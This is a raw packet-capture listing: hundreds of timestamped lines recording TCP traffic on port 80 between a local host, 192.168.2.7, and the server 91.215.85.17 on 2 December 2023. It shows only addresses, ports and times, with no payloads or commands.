Dec 2, 2023 18:01:39.950838089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950843096 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.950850964 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950862885 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950875044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950886965 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950892925 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.950900078 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950911999 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950923920 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950936079 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950942039 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.950942039 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.950948000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950959921 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950962067 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.950973988 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950979948 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.950987101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.950999022 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.951010942 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.951021910 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.951023102 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.951041937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.951056004 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.951057911 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.951070070 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.951081991 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.951092005 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.951096058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.951108932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.951121092 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.951129913 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.951141119 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:39.951149940 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.951149940 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.951239109 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:39.951288939 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.178682089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.178714037 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.178729057 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.178749084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.178798914 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.178817034 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.178832054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.178848028 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.178885937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.178901911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.178911924 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.178913116 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.178920984 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.178947926 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.178966045 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.178982973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.178991079 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.178991079 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.179049015 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.179064035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.179081917 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.179125071 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.179125071 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.179132938 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.179152012 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.179168940 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.179204941 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.179224014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.179230928 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.179230928 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.179243088 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.179259062 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.179308891 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.179308891 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.179697037 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.179716110 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.179732084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.179750919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.179790020 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.179790020 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.179831982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.179848909 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.179864883 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.179881096 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.179928064 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.179928064 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.179951906 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.179970026 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.179986954 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.180001974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.180018902 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.180036068 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.180044889 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.180044889 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.180145025 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.180171013 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.180190086 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.180383921 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.180401087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.180418015 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.180443048 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.180443048 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.180732965 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.180808067 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.254420042 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.254611969 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.484631062 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.501808882 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.501823902 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.501836061 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.501848936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502021074 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502034903 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502046108 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502057076 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502084017 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.502084017 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.502101898 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502115011 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502135038 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.502144098 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502156973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502172947 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.502194881 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502207041 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502234936 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.502259970 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502274036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502291918 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.502326012 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502338886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502366066 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.502391100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502399921 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.502418041 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502553940 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.502614975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502768993 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502784014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502796888 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502804041 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502815962 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502826929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502837896 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.502837896 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.502840042 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502855062 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502866030 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502881050 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.502895117 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502902031 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.502909899 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.502966881 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.502966881 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.503010035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.503022909 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.503034115 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.503066063 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.503093004 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.503213882 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.503226995 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.503238916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.503248930 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.503277063 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.503308058 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.503334045 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.503348112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.503412962 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.503427029 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.503438950 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.503463984 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.503463984 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.503463984 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.503494978 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.503509045 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.503520012 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.503537893 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.503555059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.503568888 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.503731012 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.503741026 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.503741026 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.503743887 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.503758907 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.503772020 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.503783941 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.503787041 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.503797054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.503806114 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.503994942 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504008055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504036903 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504050016 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.504050970 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504050016 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.504064083 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504127979 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.504160881 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504177094 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504189968 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504201889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504214048 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504219055 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.504228115 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504232883 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.504242897 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504358053 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.504358053 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.504359961 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504374027 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504386902 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504399061 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504411936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504422903 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504434109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504446983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504457951 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504465103 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.504465103 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.504465103 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.504470110 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504482985 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504494905 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504507065 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504519939 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504532099 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504538059 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.504538059 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.504538059 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.504585981 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504599094 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504610062 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504621029 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504631996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504638910 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.504638910 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.504663944 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.504789114 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504802942 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504811049 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.504818916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504833937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504894972 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.504894972 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.504971027 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504987001 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.504997969 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505009890 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505033016 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505037069 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.505048990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505062103 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505074024 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505104065 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.505104065 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.505131006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505145073 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505156994 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505170107 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505192041 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.505192041 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.505218029 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.505218983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505233049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505250931 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505263090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505275011 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.505275965 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505290985 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505325079 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.505341053 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505352974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505364895 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505377054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505388975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505400896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505439997 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.505464077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505476952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505490065 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505501032 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505522013 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.505522013 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.505522013 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.505559921 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.505559921 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.505608082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505692959 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505734921 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.505841017 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505852938 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505861044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505883932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505897045 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505911112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505923033 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505951881 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.505951881 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.505951881 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.505975008 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.505989075 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.506000996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.506057024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.506057024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.506086111 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.506187916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.506201029 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.506211996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.506225109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.506236076 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.506283045 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.506283045 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.506283045 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.506311893 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.506325006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.506336927 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.506349087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.506416082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.506442070 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.506453991 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.506465912 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.506479025 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.506479025 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.506479025 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.506479025 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.506491899 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.506505013 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.506510973 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.506520987 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.506534100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.506563902 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.506563902 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.506577015 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.506670952 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.507050037 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507064104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507076979 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507090092 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507102966 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507113934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507127047 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507138968 CET	80	49713	91.215.85.17	192.168.2.7
